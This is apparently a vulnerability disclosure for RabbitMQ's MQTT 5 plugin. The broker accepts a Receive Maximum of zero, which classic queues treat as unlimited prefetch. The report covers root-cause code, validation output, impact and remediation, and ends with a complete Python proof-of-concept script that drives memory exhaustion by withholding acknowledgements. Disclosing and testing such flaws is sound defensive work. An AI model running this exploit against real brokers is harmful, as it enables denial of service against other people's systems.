Описание
MQTT 5.0: Receive Maximum zero disables delivery credit
Summary
RabbitMQ accepts the MQTT 5 Receive Maximum CONNECT property with value zero,
although MQTT 5 requires the server to treat zero as a malformed packet.
RabbitMQ converts the value directly into {simple_prefetch, 0}. For classic
queues, zero means unlimited prefetch, not zero delivery credit. An
authenticated subscriber can therefore advertise zero, subscribe at QoS 1,
read deliveries without sending PUBACK, and cause the broker's MQTT process and
queue acknowledgement state to grow without the configured MQTT prefetch bound.
A control connection advertising Receive Maximum = 1 receives exactly one
QoS 1 message until it acknowledges it.
Preconditions
rabbitmq_mqtt or Web MQTT is enabled.- The attacker has valid credentials and permission to consume a topic.
- Messages are available to the subscription at QoS 1.
- The affected subscription uses a classic queue. Clean-start MQTT
subscriptions use classic queues in the verified configuration.
Root cause
1. CONNECT parsing accepts zero
%% deps/rabbitmq_mqtt/src/rabbit_mqtt_packet.erl:350-351
parse_prop(<<16#21, Val:16, Bin/binary>>, ?CONNECT = Type, Props) ->
parse_prop(Bin, Type, Props#{'Receive-Maximum' => Val});
No guard rejects Val = 0.
2. Zero becomes effective prefetch
%% deps/rabbitmq_mqtt/src/rabbit_mqtt_processor.erl:295-302
prefetch(Props) ->
ReceiveMax = maps:get('Receive-Maximum', Props, ?TWO_BYTE_INTEGER_MAX),
min(rabbit_mqtt_util:env(prefetch), ReceiveMax).
With mqtt.prefetch = 10, a client value of zero produces zero.
3. Classic queues interpret zero as unlimited
The MQTT consumer is created with:
mode => {simple_prefetch, Prefetch}
At Prefetch = 0, rabbit_queue_consumers does not install a limiting credit
record. QoS 1 deliveries continue while the MQTT processor tracks packet IDs
and waits for PUBACK.
Quorum queues treat zero differently and can stop delivery, but this does not
protect classic MQTT subscription queues.
Basic Python proof of concept
Attachment: mqtt-receive-maximum-zero-poc.py
The attachment is one Python 3 file using only the standard library.
Target configuration:
# rabbitmq.conf
mqtt.prefetch = 10
Enable MQTT and create any ordinary user with permission to consume and publish
in the target vhost:
rabbitmq-plugins enable rabbitmq_mqtt
Run the PoC against that server:
python3 mqtt-receive-maximum-zero-poc.py \
--host rabbitmq.example --port 1883 \
--user poc --password pocpass \
--messages 1000
The script connects two raw MQTT 5 subscribers:
- control:
Receive Maximum = 1;
- attack: forbidden
Receive Maximum = 0.
Both subscribe at QoS 1 and deliberately send no PUBACK. A third connection
publishes 20 control messages and 1,000 attack messages. A vulnerable server
prints:
{
"receive_maximum_1_deliveries_without_puback": 1,
"receive_maximum_0_deliveries_without_puback": 1000,
"attack_messages_published": 1000
}
VULNERABLE
Independent Docker validation evidence
The same wire sequence was independently run against stock RabbitMQ 4.3.4:
RabbitMQ 4.3.4
control:
Receive Maximum: 1
published QoS 1: 20
received without PUBACK: 1
attack:
Receive Maximum: 0
published QoS 1: 1000
received without PUBACK: 1000
PASS: Receive Maximum zero exceeded configured broker prefetch
PASS: Receive Maximum zero delivered at least 90% without PUBACK
ASSERTIONS_OK
Ping succeeded
MQTT QoS acknowledgements are tracked inside rabbit_mqtt_processor, so
management queue messages_unacknowledged can remain zero even while the MQTT
client has 1,000 QoS 1 deliveries awaiting PUBACK. The wire-level control
directly demonstrates the credit bypass.
Impact
- The attacker can make unsettled delivery state grow far beyond both the
client-advertised receive limit and the configured broker MQTT prefetch.
- Repeating the flow with sustained publishing can exhaust broker memory.
- RabbitMQ's memory alarm can stop new publishers but does not reclaim existing
unsettled MQTT state.
- The attack requires authentication and an opt-in MQTT listener, but no
administrator privileges.
Recommended remediation
- Reject MQTT 5 CONNECT packets with
Receive Maximum = 0 using the required
malformed-packet reason code.
- Validate duplicate and out-of-range Receive Maximum properties.
- Never map an invalid client credit value to RabbitMQ's unlimited-prefetch
sentinel.
- Bound per-connection unsettled MQTT state independently of queue prefetch.
- Add zero-value tests for classic, quorum, native MQTT, and Web MQTT paths.
#!/usr/bin/env python3
"""RabbitMQ MQTT 5 Receive Maximum zero PoC (standard library only)."""
from __future__ import annotations
import argparse
import json
import socket
import struct
import threading
import time
def varint(value: int) -> bytes:
out = bytearray()
while True:
byte = value & 0x7F
value >>= 7
out.append(byte | (0x80 if value else 0))
if not value:
return bytes(out)
def read_varint(sock: socket.socket) -> int:
value, multiplier = 0, 1
for _ in range(4):
byte = sock.recv(1)[0]
value += (byte & 0x7F) * multiplier
if not byte & 0x80:
return value
multiplier *= 128
raise ValueError("invalid MQTT varint")
def mqtt_string(value: str | bytes) -> bytes:
raw = value.encode() if isinstance(value, str) else value
return struct.pack(">H", len(raw)) + raw
def packet(sock: socket.socket, timeout: float = 10) -> tuple[int, bytes]:
sock.settimeout(timeout)
kind = sock.recv(1)[0] >> 4
size = read_varint(sock)
body = bytearray()
while len(body) < size:
body.extend(sock.recv(size - len(body)))
return kind, bytes(body)
def connect(
host: str,
port: int,
client_id: str,
user: str,
password: str,
receive_maximum: int | None,
) -> socket.socket:
properties = (
b"" if receive_maximum is None
else b"\x21" + struct.pack(">H", receive_maximum)
)
variable = (
mqtt_string("MQTT")
+ b"\x05\xc2"
+ struct.pack(">H", 60)
+ varint(len(properties))
+ properties
)
body = variable + mqtt_string(client_id) + mqtt_string(user) + mqtt_string(password)
sock = socket.create_connection((host, port), timeout=10)
sock.sendall(b"\x10" + varint(len(body)) + body)
kind, connack = packet(sock)
if kind != 2 or len(connack) < 2 or connack[1] != 0:
raise RuntimeError(f"CONNECT rejected: kind={kind}, body={connack.hex()}")
return sock
def subscribe(sock: socket.socket, topic: str) -> None:
body = b"\x00\x01\x00" + mqtt_string(topic) + b"\x01" # packet 1, QoS 1
sock.sendall(b"\x82" + varint(len(body)) + body)
kind, _ = packet(sock)
if kind != 9:
raise RuntimeError("expected SUBACK")
class NoPubackReader(threading.Thread):
def __init__(self, sock: socket.socket) -> None:
super().__init__(daemon=True)
self.sock = sock
self.count = 0
def run(self) -> None:
while True:
try:
kind, _ = packet(self.sock, 1)
if kind == 3: # PUBLISH: deliberately do not send PUBACK
self.count += 1
except (TimeoutError, socket.timeout):
continue
except (ConnectionError, OSError, IndexError):
return
def publish(sock: socket.socket, topic: str, count: int) -> None:
for number in range(1, count + 1):
packet_id = ((number - 1) % 65_535) + 1
body = (
mqtt_string(topic)
+ struct.pack(">H", packet_id)
+ b"\x00"
+ f"message-{number}".encode()
)
sock.sendall(b"\x32" + varint(len(body)) + body)
kind, _ = packet(sock)
if kind != 4:
raise RuntimeError("expected PUBACK from broker")
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=1883)
parser.add_argument("--user", required=True)
parser.add_argument("--password", required=True)
parser.add_argument("--messages", type=int, default=1000)
args = parser.parse_args()
one = connect(args.host, args.port, "poc-max-one", args.user, args.password, 1)
zero = connect(args.host, args.port, "poc-max-zero", args.user, args.password, 0)
subscribe(one, "poc/receive-max-one")
subscribe(zero, "poc/receive-max-zero")
one_reader, zero_reader = NoPubackReader(one), NoPubackReader(zero)
one_reader.start()
zero_reader.start()
publisher = connect(
args.host, args.port, "poc-publisher", args.user, args.password, None
)
publish(publisher, "poc/receive-max-one", 20)
publish(publisher, "poc/receive-max-zero", args.messages)
deadline = time.time() + 15
while zero_reader.count < args.messages and time.time() < deadline:
time.sleep(0.1)
result = {
"receive_maximum_1_deliveries_without_puback": one_reader.count,
"receive_maximum_0_deliveries_without_puback": zero_reader.count,
"attack_messages_published": args.messages,
}
print(json.dumps(result, indent=2))
vulnerable = one_reader.count == 1 and zero_reader.count > 10
print("VULNERABLE" if vulnerable else "NOT_REPRODUCED")
return 0 if vulnerable else 1
if __name__ == "__main__":
raise SystemExit(main())
